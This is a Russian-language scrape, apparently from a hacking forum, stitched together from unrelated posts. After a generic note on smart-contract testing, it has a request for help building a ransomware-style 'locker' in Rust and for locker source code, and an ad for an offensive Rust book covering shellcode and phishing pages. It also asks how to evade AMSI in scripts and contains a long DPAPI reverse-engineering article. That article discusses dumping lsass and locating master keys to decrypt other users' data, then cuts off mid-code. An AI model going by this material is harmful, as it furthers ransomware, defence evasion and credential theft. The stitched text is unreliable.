Тестирование смарт-контрактов - это процесс проверки корректности работы кода и его соответствия требованиям безопасности, функциональности и производительности. Тестирование необходимо для обнаружения и устранения ошибок, а также для гарантии надежности и безопасности смарт-контрактов перед их развертыванием в блокчейне.
Тестирование смарт-контрактов обычно включает следующие этапы:
1. Юнит-тестирование: Юнит-тесты проверяют отдельные функции и модули смарт- контракта. Они позволяют обнаружить ошибки в логике и алгоритмах контракта на ранней стадии разработки. Для написания юнит-тестов можно использовать фреймворки, такие как Truffle и Hardhat.
2. Интеграционное тестирование: Интеграционные тесты проверяют взаимодействие между различными смарт-контрактами и компонентами системы. Они помогают обнаружить проблемы с совместимостью и корректностью работы взаимодействующих контрактов.
3. Тестирование на уровне системы: На этом этапе проводятся тесты, имитирующие реальные сценарии использования смарт-контракта. Это позволяет проверить работоспособность и производительность контракта в условиях, максимально приближенных к реальным.
4. Фазз-тестирование: Фазз-тесты заключаются в подаче случайных и непредсказуемых входных данных на смарт-контракт для выявления уязвимостей и ошибок, которые могут привести к неправильной работе или атакам.
5. Формальная верификация: Формальная верификация - это математический подход к проверке корректности смарт-контракта. Он позволяет доказать, что контракт соответствует определенным требованиям и свойствам. Формальная верификация может быть сложной и затратной, но она обеспечивает высокий уровень надежности контракта.
6. Аудит кода: Аудит кода проводится экспертами в области безопасности и блокчейна для выявления уязвимостей, ошибок и несоответствий лучшим практикам разработки. Аудит кода может быть проведен как внутренними специалистами, так и независимыми сторонними организациями.
Тестирование смарт-контрактов является критически важным этапом разработки, так как оно обеспечивает безопасность, надежность и корректное функционирование контрактов в блокчейне. Внимательное и всестороннее тестирование смарт-контрактов поможет предотвратить потенциальные проблемы, связанные с уязвимостями, ошибками и неправильной работой контракта.
Пишу игрушечный локер на Rust
Думаю вот как лучше распараллелить шифрование файлов
На данный момент реализация следующая:
Есть общая булевая переменная "throttling"
Есть поток, который в бесконечном цикле смотрит загрузку памяти, цп и диска, в
случае чего меняя состояние вышеуказанной переменной
Есть поток, который берет таргет из очереди и в случае, если
"throttling=false", пушит его в threadpool, иначе цикл с таймаутом
Это работает, но есть стойкое ощущение соплей
Как бы вы решили эту задачу?
Может кто-то знает публичные репозитории с реализацией многопоточного
шифрования(тулзы или сходники тех же локеров)?
You must have at least 2 message(s) to view the content.
http://**************************************************************/
Это НЕ 1000-й учебник по sqlmap и Metasploit, и он не научит вас основам
программирования.
Вместо этого, это руководство от теории к практике, и оно может вам
понравиться, если вы делаете что-то из нижеперечисленного:
- Вы постоянно кричите "покажите мне код!", когда читаете о кибер-атаках и
вредоносных программах.
- Вы хотите изучить реальные и идиоматические методы работы с ржавчиной
- Вы верите, что лучшая защита - это думать как атакующий
- Вы учитесь, создавая, и любите заглядывать под капот
- Вы разрабатываете собственные инструменты и эксплойты на Python, Ruby, C,
Java...
- Вы хотите изучать реальную наступательную безопасность, а не только
пентестинг
- Вы хотите начать свою карьеру в сфере "баг баунти" или наступательной
безопасности
создавать шеллкоды, строить серверы, создавать фишинговые страницы!
Может кому-то пригодится.
Узнайте, как компоненты блокчейна работают за кулисами, и расширьте свои навыки программирования и карьеру. Книга содержит различные одноранговые, блокчейн и криптографические шаблоны проектирования, полезные для любого разработчика программного обеспечения, который хочет расширить свою карьеру программиста и изучить новые концепции. Большинство компонентов взяты из реализаций блокчейнов Bitcoin и Ethereum.
Hidden content for authorized users.
](https://anonfiles.com/lbR13b7duf/.-Android-_2021_pdf)
anonfiles.com
Пробовал обойти амси в вбс, жс, все без толку. Непонятно как там работает амси. Сперва думал как в пш string based, но ошибся. Обуфскация строк никак не помогает. На что там идет детект и как чистить подобные скрипты? В ресерчах детально не описывается. Я не прошу открыть 0дей патч, а именно как он работает и куда копать, чтоб детальнее понять как работает там амси.
Недавно увлекся фреймворком flutter(dart), я очень молодой форумчанин, только вникаю во всю эту атмосферу. Я уверен здесь есть ребята, которые знает где этот сок искать. Пожалуйста скиньте мне сливы курсов по dart, и dart flutter
Все, кто хоть немного дорожит своей информацией, направляют фокус на её защиту. Учитывая эти обстоятельства, начиная ещё с Win-2k инженеры Microsoft ввели в состав своей ОС специальный интерфейс и назвали его "Data-Protection Programming Interface", или коротко DPAPI. В результате, не прибегая к услугам внешних библиотек, у нас появилась возможность защищать свои данные вполне крипткостойким механизмом, причём эти данные могут находиться как на жёстком диске, так и непосредственно в памяти. В состав этого интерфейса входят всего 4 функции, однако практическая его реализация довольно сложна и корнями уходит в нёдра операционной системы, иначе DPAPI не получил-бы столь высокий кредит доверия в высшем обществе. В данной статье рассматриваются технические детали этого интерфейса, и некоторые советы к области его применения.
Содержание:
1. Data Protect – основная идея;
2. Функции DPAPI из библиотеки crypt32.dll;
3. Практика – реверс интерфейса DPAPI;
4. Алгоритм поиска Master-Key;
5. Постскриптум.
-------------------------------------------------------
1. DataProtect– основная идея
В программистcких кругах бытует мнение, что для защиты критически важных данных лучше применять не стандартные методы (которые предлагает нам система) , а выстраивать крепость вручную, щедро разбавляя программный код обратимыми математическими формулами от-фонаря. Аргументируются доводы тем, что мол все системные алгоритмы шифрования уже давно изучены, и с их взломом не сталкивался только ленивый. Если учесть вычислительные возможности современных процессоров, то доля правды в этом есть – элементарный брутфорс с применением радужных таблиц рано или поздно всё-же даст результат, не говоря уже о более продуманном подходе.
Но проблема в том, что какую-бы высшую математику мы не применили, сам алгоритм остаётся всегда на поверхности и при интерактивной отладке сразу-же всплывёт на поверхность. На вопрос " как спрятать его от посторонних глаз?" можно смело ответить – никак! Это напоминает эффект-плацебо, когда мы тупо верим в пользу некоторого действия, в реале нейтрального, прямой эффект которого не наблюдается.
Однако любую критику выдерживает герой этой статьи – механизм шифрования данных DPAPI. Только столкнувшись с его реверсом понимаешь, что разрабатывался он с уклоном на то, чтобы закрыть данные не только от различного рода кодокопателей, но при некоторых обстоятельствах и от самой системы. Достичь такого уровня позволяет передача данных по закрытым каналам ALPC/RPC, что подразумевает локальный (Advanced Local) и удалённый вызов системных процедур из пользовательского режима (Remote Procedure Call). Другими словами, при вызове функций DPAPI происходит переключение контекста из юзера в кернел, где и осуществляется вся магия непосредственного шифрования.
Такой расклад привлёк внимание сразу нескольких независимых групп, которые занялись анализом интерфейса DPAPI. Первыми, результатов добилась команда из фирмы "Passcape Software" ещё в 2003 году, которым удалось полностью обратить никак недокументированный на тот момент алгоритм защиты Microsoft. По их докладу стало известно, что в процессе шифрования, DPAPI использует три составляющие – это т.н. "мастер-ключ", идентификатор безопасности пользователя SID (Security Identifiers), и хеш от пароля юзера на вход в систему. Гремучая смесь этих составляющих даёт на выходе невероятно прочную стену, пробить которую юзермодным отладчикам становится не под силу.
Как мы узнаем позже, под своей учётной записью, системный мастер-ключ и SID юзера добыть не проблема, а вот с паролем могут возникнуть трудности, т.к. его хеш зарыт в недоступной никому области памяти системного процесса lsass.exe. Именно для доступа к паролю, код интерфейса DPAPI использует закрытые каналы Lsass и SRM, по которым гоняет служебные запросы и данные. Пройдя этап переработки и метаболизма, шифруемые данные из ядра через эти-же каналы возвращаются опять в приложение юзера. Конечно можно сдампить память процесса lsass в свой бокс, но выташить потом из этого дампа пароль находясь в офлайне – задача не простая. В грубой форме это выглядит примерно так:
Ядерный монитор безопасности SRM и пользовательский процесс Lsass обмениваются данными при помощи механизма ALPC (см.рис.выше). В ходе инициализации системы, SRM и Lsass создают свои порты (SeRmCmdPort и SeLsaCmdPort соответственно) , после чего присовокупляются друг к другу. Это приводит к созданию закрытого коммуникационного канала связи. Один раз создав соединение при загрузке системы, как SRM так и Lsass больше не разрывают его, поэтому "любопытные" процессы юзера не имеют возможности подключиться к ним – запросы на коннект будут в мёртвом цикле крутится в кольцевом буфере АLPC, или попросту отвергаться.
Система безопасности Win разделяет права своих пользователей при помощи трёх составляющих – это учётные записи юзеров, их пароли, и защита принадлежащих этим юзерам личных файлов. Рассмотрим, каким образом каждый из перечисленных аспектов архитектуры влияет на выполнение жёстких требований безопасности. В неё входят следующие компоненты и привязанные к ним базы-данных:
• SRM – Security Reference Monitor, или глобальный монитор безопасности. Находится в исполняющей подсистеме ядра Ntoskrnl.exe, и отвечает за: (1) оформление "маркеров доступа" (токенов) для предоставления контекста безопасности, (2) выполнение проверок доступа к объектам, (3) работу с привилегиями (правами) пользователей.
• LSASS – Local Security Authority Sub-System. Это процесс пользовательского режима Lsass.exe, который отвечает за политику безопасности системы и аутентификацию всех пользователей. Функционал реализован в библиотеке Lsasrv.dll. Более того, в Lsass хранится зашифрованный двоичный объект хеша SHA-512 от пароля юзверя, на который опирается весь интерфейс DPAPI. Кстати такие процессы называют ещё "транслеты" – изолированные процессы ядра в пользовательском режиме.
• Lsa-база, где хранятся настройки политики безопасности системы. Она прописана в ACL-закрытой ветке реестра HKLM\SECURITY (Access Control List, список управления доступом). По информации из этой базы система определяет, у кого есть права на доступ к нёдрам системы, кому из них и какие конкретно привилегии назначены.
• SAM – Security Accounts Manager, или администратор учётных записей. Сервис samsrv.dll загружается в процесс Lsass и отвечает за управление базой с именами пользователей, и поддержки групп на локальной машине. Привязанная к нему база содержит данные локальных юзеров и групп, наряду с их паролями и другими атрибутами безопасности. База хранится в защищённой ветке реестра HKLM\SAM.
Системный транслет Lsass.exe довольно творческая единица, и загружает в своё пространство множество библиотек для решения различного круга задач. В контексте данной статьи нас будут интересовать: lsasrv, samsrv, authz и crypt32.dll (где и сосредоточены собственно функции DPAPI). Консольная утилита tasklist.exe с одноимённым фильтром(/fi) и аргументом(/m) возвращает список всех загруженных в процесс библиотек, что продемонстрированно на скрине ниже. Обратите внимание, сколько имеется модулей, где фигурирует слово "crypt" (я насчитал их 7) :
Что касается баз LSA и SAM, то они не доступны в реестре смертным
пользователям,
однако просмотреть их содержимое можно утилитой "PsExec" из комплекта
["SysInternals"](https://docs.microsoft.com/ru-
ru/sysinternals/downloads/sysinternals-suite) Марка Руссиновича:
2. Функции DPAPIиз библиотеки crypt32.dll
Выше упоминалось, что в интерфейс "Data-Protect-API" входят всего 4 функции – это CryptProtectData() для шифрования данных, и CryptUnprotectData() для их-же расшифровки. Есть ещё пара аналогичных функций, только для шифрования данных прямо в памяти CryptProtectMemory(), но они применяются довольно редко, поэтому останавливаться на них не будем. У всех этих функций прототипы одинаковы и выглядят так:
C-like:Copy to clipboard
BOOL CryptProtectData( ;//<------- 0 = ошибка!
pDataIn dd 0 ;// линк на структуру DATA_BLOB, которая описывает данные для шифрования
ppszDataDescr dd 0 ;// 0, или линк на строковое описание шифруемых данных
pOptionalEntropy dd 0 ;// 0, или линк на DATA_BLOB, с паролем или доп.энтропией (соль)
pvReserved dd 0 ;// 0
pPromptStruct dd 0 ;// 0, или линк на структуру CRYPTPROTECT_PROMPTSTRUCT (подсказки)
dwFlags dd 0 ;// 0, или флаги управления процессом шифрования
pDataOut dd 0 ;// линк на структуру DATA_BLOB, в которую функция вернёт зашифрованные данные
);
;//************************************************
struct DATA_BLOB
dwDataSize dd 0 ;// размер данных
pData dd 0 ;// указатель (pointer) на данные
ends
Как видим, исходные данные этой функции нужно передавать через структуру DATA_BLOB, которая имеет всего два поля – в первом нужно указать размер данных, а во-втором их адрес. Когда функция отработает, она вернёт результат своей работы так-же в структуру DATA_BLOB (см.последний аргумент) , при этом сами данные могут находиться хоть у чёрта на куличках (например в хипе) – главное мы получим их размер и адрес. BLOB подразумевает "Binary-Long OBject", или большой объект бинарных данных. Везде, где встречается этот термин нужно иметь в виду, что перед нами не строка или hex-значение, а массив двоичных данных переменной длины. Для описания таких массивов и служит структура DATA_BLOB.
Отдельного внимания заслуживает и опциональный третий параметр, в котором при желании можно передать данные с энтропией. В криптологии, энтропией называют рандомную "соль". Добавленная к полезным данным, она на порядок усложняет взлом паролей перебором. Как и шифруемые данные, энтропия так-же передаётся структурой DATA_BLOB, и на практике настоятельно рекомендуется к использованию. Поскольку она напрямую влияет на безопасность данных, то не хранится в выходном объекте зашифрованных данных DPAPI_DATA_BLOB. Мы должны сами обеспечить надлежащее хранение этого секрета, и на этапе расшифровки данных обязательно передать её в том-же виде обратно функции CryptUnprotectData(). Будьте осторожны! При потере или искажении энтропии хоть на 1-бит, восстановить данные будет не возможно.
Предпоследний аргумент функции ожидает указания флагов, которые играют немаловажную роль в процессе шифрования. Уже упоминалось, что в театре действий DPAPI принимают активное участие: системный "мастер-ключ", SID текущего пользователя, и хеш от его пароля на вход в систему. Так, если мы укажем при шифровании данных флаг "LOCAL_MACHINE", то SID и хеш пароля уже отправляются на скамейку запасных, и функция шифрует только мастер-ключом. В результате, зашифрованные нами личные данные сможет расшифровать любой пользователь данного компьютера, что сведёт на нет саму идею DPAPI. Ещё один флаг "CRED_SYNC" позволяет принудительно обновить системный мастер-ключ. В большинстве случаях флаг сбрасывают в нуль, чтобы функция взяла дефолтное его значение из реестра.
Обратная по назначению функция CryptUnprotectData() сначала проверяет целостность данных в структуре DPAPI_DATABLOB, и только потом расшифровывает их. Единственный пользователь, который может расшифровать закриптованные в DPAPI данные – это пользователь с теми-же учётными данными, что и пользователь, зашифровавший их. Более того, шифрование и дешифрование должны выполняться на одном компьютере, чтобы совпадал их мастер-ключ.
3. Практика – реверс интерфейса DPAPI
Теперь проведём небольшой эксперимент, и заглянем внутрь выходного объекта
DPAPI_DATABLOB.
Учитывая, что ребята из фирмы "Passcape Software" уже всё сделали за нас и
предоставили на всеобщее обозрение детальное описание всех полей этой
структуры, нам остаётся лишь написать программу шифрования данных функцией
CryptProtectData(), после чего проекцией наложить на полученный BLOB данную
структуру. Вот как они её описывают:
C-like:Copy to clipboard
struct DPAPI_DATABLOB
dwVersion dd 0 ;// версия структуры
ProvGuid db 16 dup(0) ;// Guid крипто-провайдера
MasterKeyVersion dd 0 ;// версия ключа
MasterKeyGuid db 16 dup(0) ;// Guid ключа
dwFlags dd 0 ;// флаги
dwDataDescLen dd 0 ;// размер аргумента(2) "DataDescr" функции CryptProtectData()
szDataDesc db ? ;// ^^значение аргумента.
algCrypt dd 0 ;// алгоритм шифрования (например AES)
cryptAlgLen dd 0 ;// ^^размер ключа (например 256, итого AES-256)
dwSaltLen dd 0 ;// размер соли хеширования
pSalt db ? ;// ^^значение соли
dwHmacKeyLen dd 0 ;// размер "кода-аутентификации" HMAC
pHmac db ? ;// ^^значение HMAC
algHash dd 0 ;// алгоритм хеширования (например SHA)
hashAlgLen dd 0 ;// ^^размер блока (например 512, итого SHA-512)
dwHmac2KeyLen dd 0 ;// см.выше
pHmac2 db ? ;// ^^^
dwDataLen dd 0 ;// размер зашифрованных данных
pData db ? ;// ^^данные
dwSignLen dd 0 ;// размер сигнатуры
pSign db ? ;// ^^сигнатура
ends
Это именно то, что возвращает функция после шифрования переданных ей данных. При этом непосредственно сами полезные данные расположены в хвосте структуры (поле dwDataLen, и pData) , а остальное – служебная информация, чтобы была возможность в последующем расшифровать этот BLOB, типа: идентификатор мастер- ключа, соль, флаги, алгоритмы шифрования и хеширования, и т.п.
Обратите внимание на поле HMAC " Message Authentification Code", или код аутентификации сообщения. МАС применяется для проверки целостности данных в этой структуре, а префикс(Н) говорит о том, что это хеш от Auth-кода. Его можно сравнить с контрольной суммой данных, только размер HМАС как-правило 16 или 32 байта, а не 4 как в CRC-32.
Чтобы исходник не потерял наглядность, я просто втяну пользователя в авантюру и запрошу у него пароль, который тут-же зашифрую при помощи CryptProtectData(). После того-как эта функция через процесс Lsass.exe залезет в ядро, и "подёргав его за вымя" вернёт мне DPAPI_DATABLOB зашифрованного пароля, я выведу на консоль все его поля. Это позволит узнать, какой именно алгоритм шифрования/хеширования использует интерфейс DPAPI, кто его провайдер и всё остальное.
Чтобы сбоксить на консоль Guid'ы поставщика и мастер-ключа, позовём на помощь вспомогательную функцию StringFromGUID2() из библиотеки ole32.dll. Всё-что ей нужно, это указатель на двоичный Guid в структуре BLOB, и указатель на приёмный буфер, куда функция вернёт его строковое представление.
Каждый из алгоритмов шифрования и хеширования имеет свои константы, которые определены в сишном заголовочном хидере WinCrypt.h. Я собрал их все в инклуд и забросил в скрепку. Вот их значения, привязав к которым строки, можно выводить их на консоль:
C-like:Copy to clipboard
;// Константы алгоритмов
;//----------------------------------
CALG_DES = 0x00006601 ;//<--- шифрование
CALG_3DES = 0x00006603
CALG_AES = 0x00006611
CALG_AES_128 = 0x0000660e
CALG_AES_192 = 0x0000660f
CALG_AES_256 = 0x00006610
CALG_RC2 = 0x00006602
CALG_RC4 = 0x00006801
CALG_RC5 = 0x0000660d
CALG_HASH_REPLACE_OWF = 0x0000800b ;//<--- хеширование
CALG_HMAC = 0x00008009
CALG_MAC = 0x00008005
CALG_MD2 = 0x00008001
CALG_MD4 = 0x00008002
CALG_MD5 = 0x00008003
CALG_SHA = 0x00008004
CALG_SHA1 = 0x00008004
CALG_SHA256 = 0x0000800c
CALG_SHA384 = 0x0000800d
CALG_SHA512 = 0x0000800e
CALG_SSL3_SHAMD5 = 0x00008008
CALG_TLS1_PRF = 0x0000800a
;//----------------------------------
;// Таблица алгоритмов шифрования
;//----------------------------------
CryptTable dd 0x6603,calgDes,0x6610,calgAes
dd 0x6801,calgRc4,0x660d,calgRc5
calgDes db '3DES',0
calgAes db 'AES.256',0
calgRc4 db 'RC4',0
calgRc5 db 'RC5',0
Остальное всё в штатном режиме. Значит запрашиваем пароль и загнав его данные в структуру "inBlob", передаём его для шифрования в CryptProtectData(). Можно было в конце программы опять расшифровать пароль, но место в консольном окне уже не хватило, поэтому оставлю это действо вам в качестве дз.
Поскольку мы заранее не знаем длину поля, (например, pSalt в структуре BLOB) то вычислять следующее от него смещение придётся динамически. Для этого, нужно запомнить указатель на предыдущее, и добавить к нему благо-известную длину. Такими короткими перебежками можно будет обойти всю структуру данных. Вот пример реализации:
C-like:Copy to clipboard
format pe console
entry start
;//------------
section '.inc' data readable
include 'win32ax.inc'
include 'equates\dpapi.inc'
;//------------
.data
inBlob CRYPT_BLOB ;// структура с исходными данными
outBlob CRYPT_BLOB ;// сюда получим результат
hndl dd 0
dwRet dd 0
buff db 0
;//------------
.code
start: invoke SetConsoleTitle,<'*** DPAPI Crypt/Decrypt ***',0>
;//-- Запрос на ввод пароля и узнаём его длину
cinvoke printf,<10,' Type password....: ',0>
cinvoke scanf,<'%s',0>,buff
invoke lstrlen,buff
;//-- Оформляем входную структуру DATA_BLOB и шифруем пароль!
mov [inBlob.dataSize],eax
mov [inBlob.pData],buff
invoke CryptProtectData,inBlob,0,0,0,0,0,outBlob
;//-- Получили выходную структуру DATA_BLOB – покажем инфу из неё
mov ecx,[outBlob.dataSize]
mov esi,[outBlob.pData]
push esi ecx
cinvoke printf,<10,' BLOB data size...: %d byte',\
10,' BLOB data offset.: 0x%08x',10,\
10,' DPAPI BLOB dump...............',10,10,0>,ecx,esi
pop ecx esi
call PrintHexDump
;//************************************************************
;//-- Проецируем структуру DPAPI_DATABLOB на полученные данные,
;//-- и выводим их на консоль.
cinvoke printf,<10,10,' Decode BLOB dump..............',0>
mov esi,[outBlob.pData]
mov eax,[esi + DPAPI_DATABLOB.dwVersion]
cinvoke printf,<10,10,' DPAPI version...: %d',0>,eax
mov esi,[outBlob.pData]
push esi esi
add esi,DPAPI_DATABLOB.ProvGuid
invoke StringFromGUID2,esi,buff,dwRet
cinvoke printf,<10,' CryptProv Guid..: %ls',0>,buff
pop esi
add esi,DPAPI_DATABLOB.MasterKeyGuid
invoke StringFromGUID2,esi,buff,dwRet
cinvoke printf,<10,' MasterKey Guid..: %ls',0>,buff
pop esi
mov eax,[esi + DPAPI_DATABLOB.dwFlags]
cinvoke printf,<10,' dwProtect Flag..: 0x%08x',10,0>,eax
mov esi,[outBlob.pData]
mov eax,[esi + DPAPI_DATABLOB.dwDataDescLen]
push esi eax
cinvoke printf,<10,' dwDataDesc len..: %d',\
10,' DataDesc......: ',0>,eax
pop ecx esi
add esi,DPAPI_DATABLOB.szDataDesc
push esi ecx
call PrintHexString
pop ecx esi
add esi,ecx ;//<--- вычисляем динамически адрес сл.поля
lodsd
push esi
mov ebx,eax
mov esi,CryptTable
mov ecx,4
call GetAlgorithm
cinvoke printf,<10,' algCrypt........: 0x%08x = %s',0>,ebx,edx
pop esi
add esi,4
lodsd
push eax esi eax esi
cinvoke printf,<10,' dwSalt len......: %d',\
10,' Salt..........: ',0>,eax
pop esi ecx
or ecx,ecx
je @f ;//<---- пропустить, если поле пустое
call PrintHexString
@@: pop esi eax
add esi,eax
lodsd
push eax esi eax esi
cinvoke printf,<10,' dwHmacKey len...: %d',\
10,' HmacKey.......: ',0>,eax
pop esi ecx
or ecx,ecx
je @f
call PrintHexString
@@: pop esi eax
add esi,eax
lodsd
push esi
mov ebx,eax
mov esi,HashTable
mov ecx,13
call GetAlgorithm
cinvoke printf,<10,' algHash.........: 0x%08x = %s',0>,ebx,edx
pop esi
add esi,4
lodsd
push eax esi eax esi
cinvoke printf,<10,\
10,' dwHmac2Key len..: %d',\
10,' Hmac2Key......: ',0>,eax
pop esi ecx
or ecx,ecx
je @f
call PrintHexString
@@: pop esi eax
add esi,eax
lodsd
push eax esi eax esi
cinvoke printf,<10,\
10,' dwCryptData len.: %d',\
10,' CryptData.....: ',0>,eax
pop esi ecx
or ecx,ecx
je @f
call PrintHexString
@@: pop esi eax
add esi,eax
lodsd
push eax esi
cinvoke printf,<10,\
10,' dwSign len......: %d',\
10,' Signature.....: ',0>,eax
pop esi ecx
or ecx,ecx
je @exit
call PrintHexString
@exit: cinvoke _getch ;//<---- GAME OVER!!! ------------//
cinvoke exit,0
;//------------
;//----- Процедуры вывода дампа на консоль --------------
;//----- на входе: ESI = указатель на данные, ECX = длина
proc PrintHexString
mov ebp,32 ;// кол-во байт в строке
@@: or ebp,ebp
jnz @miss0
push ecx
cinvoke printf,<10,20 dup(' '),0>
pop ecx
mov ebp,32
@miss0: xor eax,eax
lodsb
push ecx esi
cinvoke printf,<'%02x',0>,eax ;//<--- без разделителя байт
pop esi ecx
dec ebp
loop @b
ret
endp
proc PrintHexDump
mov ebp,16
@@: or ebp,ebp
jnz @miss1
push ecx
cinvoke printf,<10,0>
pop ecx
mov ebp,16
@miss1: xor eax,eax
lodsb
push ecx esi ebp
cinvoke printf,<' %02x',0>,eax ;//<--- с разделителем байт
pop ebp esi ecx
dec ebp
loop @b
ret
endp
;//----- Процедура поиска алгоритмов --------------
;//----- на входе: EBX = код алгоритма, ESI = указатель на таблицу, ECX = длина таблицы
;//----- на выходе: EDX = указатель на строку с именем (см.инклуд DPAPI.INC)
proc GetAlgorithm
mov edx,unk
@findAlgo:
lodsd
cmp ebx,eax
jne @f
mov edx,[esi]
jmp @foundAlgo
@@: add esi,4
loop @findAlgo
@foundAlgo: ret
endp
;//------------
section '.idata' import data readable
library kernel32,'kernel32.dll',msvcrt,'msvcrt.dll',\
crypt32,'crypt32.dll',ole32,'ole32.dll'
import ole32,StringFromGUID2,'StringFromGUID2'
include 'api\kernel32.inc'
include 'api\crypt32.inc'
include 'api\msvcrt.inc'
Посмотрим, что мы тут имеем..
Значит обычную строку пароля из 14-ти символов, DPAPI зашифровал в BLOB
размером аж 230-байт. В качестве криптографического провайдера задействован
поставщик с GUID'ом {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
– это системный
провайдер Win по-умолчанию, реализованный в библиотеке Psbase.dll. Если этот
провайдер нас чем-то не устраивает, другого можно выбрать в ветке реестра
HKLM\Software\Microsoft\Cryptography\Protect\Providers
. Далее следует
идентификатор мастер-ключа, сброшенный флаг в предпоследнем аргументе функции
CryptProtectData(), и дефолтное значение Unicode-нуль второго аргумента
"pszDataDesc".
Члены структуры algCrypt и algHash прямым текстом сообщают нам алгоритмы шифрования и хеширования данных, а так-же значение рандомной соли (не путать с энтропией, которая уязвима и не хранится в данной структуре) , кода- аутентификации МАС, и сигнатуры (электронная подпись).
Практика показала, что изменение длины шифруемых входных данных, никак не влияет на размеры полей Salt\HMAC\Sign, кроме непосредственно самих данных в зелёном блоке "CryptData". При вводе до 15-символов включительно, размер данных остаётся 16-байт, а если ввести 16-символов, то размер зашифрованных данных сразу-же увеличивается в два раза = 32-байта. Связано это с блочным шифрованием данных AES-256 в режиме CBC (Cipher-Block-Chaining) , который оперирует информационной матрицей 4х4 байта.
Важным моментом во-всей этой кухне является то, что ознакомившись с структурой DPAPI_DATABLOB мы получили штамм, по которому можем находить в виртуальной памяти ОЗУ компьютера не только свои, но и чужие объекты DPAPI. В качестве такой сигнатуры поиска, могут послужить два первых поля данного объекта BLOB, где указывается версия(1) структуры, и Guid виндозного крипто-провайдера. За некоторым исключением, во-всех объектах BLOB и операционных системах, эти первые 20-байт будут одинаковы.
Таким образом, для декрипта зашифрованных данных DPAPI нам остаётся найти лишь хеш от юзерского пасса в памяти Lsass.exe, и мастер-ключ системы. Проблему предвещает пароль, добыть который можно только сохранив память процесса Lsass.exe, после чего искать его в дампе отталкиваясь, например, от аргументов функций шифрования. Но для этого во-первых нужны права админа (иначе Lsass не сдампить) , а во-вторых – необходимо быть осведомлённым о самом алгоритме шифрования. Не сказать, что задача не решаема в принципе, однако займёт уйму времени. Так-что оставим это дело для потомков, а сами попробуем обзавестись мастер-ключом.
4. Алгоритм поиска Master-Key
Для начала определимся, что такое мастер-ключ и зачем он нужен.
Это основной ключ интерфейса DPAPI, при помощи которого он шифрует данные
алгоритмом AES-256/СВС. Изначально, в открытом виде ключ имеет длину 64-байта,
но после его хеширования алгоритмом SHA-512 размер увеличивается до 176-байт.
В создании мастер-ключа принимает участие предварительный ключ под названием
"PreKey", который создаётся из пароля юзера на вход в систему (из защищённой
памяти Lsass.exe) , и идентификатора SID этого юзера. Далее генерируется
64-байтный рандом (основной материал для мастер-ключа) , к нему добавляется
соль размером 16-байт, и вся эта братия отправляется в "миксер" AES-256.
На выходе из блока шифрования AES получаем структуру "MasterKey_BLOB", которой система присваивает уникальный Guid. По-умолчанию, процедура генерации мастер- ключей в системе повторяется каждые 90-дней, чтобы периодически обновлять их. При этом отработанные/старые ключи не удаляются, а отправляются в бэкап. Резерв нужен для тех случаев, когда мы зашифруем данные, например, за день до обновления системой старого ключа, и попытаемся расшифровать их после. В этом случае, DPAPI возьмёт из базы текущий ключ и если попытка декрипта им не увенчается успехом, то начнёт перебирать более старые ключи, пока не найдёт валидный. Схема генерации мастер-ключа представлена ниже:
В системе имеются два типа "мастер-ключей" – один привязан к учётной записи пользователя, а другой к машине в целом (хранится в System32\Microsoft\Protect). Когда мы вызываем функцию CryptProtectData() с флагом LOCAL_MACHINE, механизм DPAPI шифрует данные ключом компьютера и любой пользователь данной машины сможет расшифровать их. Если-же этот флаг сброшен, то применяется мастер-ключ текущего пользователя, и юзер с другой учётной записью не сможет уже осуществить обратный декрипт, поскольку его SID (и если есть пароль) окажется уткой.
Мастер-ключи юзера хранятся в папке его профиля:
C:\Users\%USER%\AppData\Roaming\Microsoft\Protect\%SID%\
, где SID – это
директория, имя которой совпадает с описателем безопасности SID пользователя.
В доках эту папку называют ещё "MasterKey-Storage-Folder" и в ней складируются
буквально все, когда-либо сгенерированные системой ключи. Имя активного на
данный момент ключа и срок его действия хранится в файле Preferred, который
лежит рядом с ключами – первые 16-байт в нём Guid ключа, а оставшиеся 8-байт –
дата в формате FILETIME. Файлы ключей именуются без расширения согласно
присвоенным им Guid, и на моей машине выглядят так:
Всё те-же ребята из Passcape отреверсили структуру мастер-ключей, присвоив ей имя MASTERKEY_BLOB. В этих 468-байтах достаточно информации, чтобы получить всю подноготную мастер-ключа, включая значение соли, идентификаторы алгоритмов, раундов хеширования и прочее. Кстати о раундах.. Термин применяется к функции PBKDF2 (Password-Based Key Derivation Function) , криптографическому стандарту формирования ключей на основе пароля. Фактически, это цикл хэширования ключей алгоритмом SHA-512, где раунды определяют кол-во итераций (повторений). К примеру на моей Win-7 таких раундов 5400, что в миллионы раз увеличивает время перебора ключей брутфорсом.
Что касается самой 468-байтной структуры MASTERKEY_BLOB, то она состоит из 5-ти частей. Сначала идёт 128-байтный заголовок Header, после которого следуют описатели 4-х ключей – это непосредственно паспорт ключа MasterKey, далее BackupKey, CredHist и DomainKey. Нам интересен только первый мастер-ключ, поэтому структуру оформляем так:
C-like:Copy to clipboard
struct MASTERKEY_HEADER
dwVersion dd 0 ;// версия файла с ключом
dwReserved1 dq 0 ;//
szGuid db 72 dup(0) ;// Юникоде-строка с GUID'ом ключа
dwUnused dq 0 ;//
dwPolicy dd 0 ;// поле с флагами
dwUserKeySize dd 0 ;// размер мастер-ключа юзера
dwLocalEncKeySize dd 0 ;// размер резервного ключа Backup
dwLocalKeySize dd 0 ;// размер локального ключа, или поля CREDHIST
dwDomainKeySize dd 0 ;// резервная копия ключа домена
dwReserved2 db 16 dup(0) ;//
;//-- MasterKey info
Version dd 0 ;// версия слота
pSalt db 16 dup(0) ;// значение соли, добавленной к ключу
dwRounds dd 0 ;// счётчик итераций в алго генерации ключа PBKDF2
HmacAlgId dd 0 ;// алго проверки целостности данных
CryptAlgId dd 0 ;// алго шифрования ключа
pKey db ? ;// зашифрованный мастер-ключ!
ends
В демонстрационном примере ниже попытаемся найти свой мастер-ключ на диске, и вывести из него всю информацию. Основную проблему здесь представляет только динамический поиск директории "MasterKey-Storage-Folder", поскольку SID пользователя заранее нам не известен. Для этого воспользуемся парой функций FindFirstFile() + FindNextFile(), которые перечисляют файлы и папки в указанном дире. Они возвращают информацию о найденном файле в сл.структуру:
C-like:Copy to clipboard
struct WIN32_FIND_DATA
dwFileAttributes dd 0 ;// атрибуты файла/папки
ftCreationTime FILETIME ;// время создания
ftLastAccessTime FILETIME ;// время последнего доступа
ftLastWriteTime FILETIME ;// время последнего изменения
nFileSizeHigh dd 0 ;// размер файла
nFileSizeLow dd 0 ;// ^^^
dwReserved dq 0 ;//
cFileName rb 256 ;// Win-имя файла/папки <----- наш клиент!
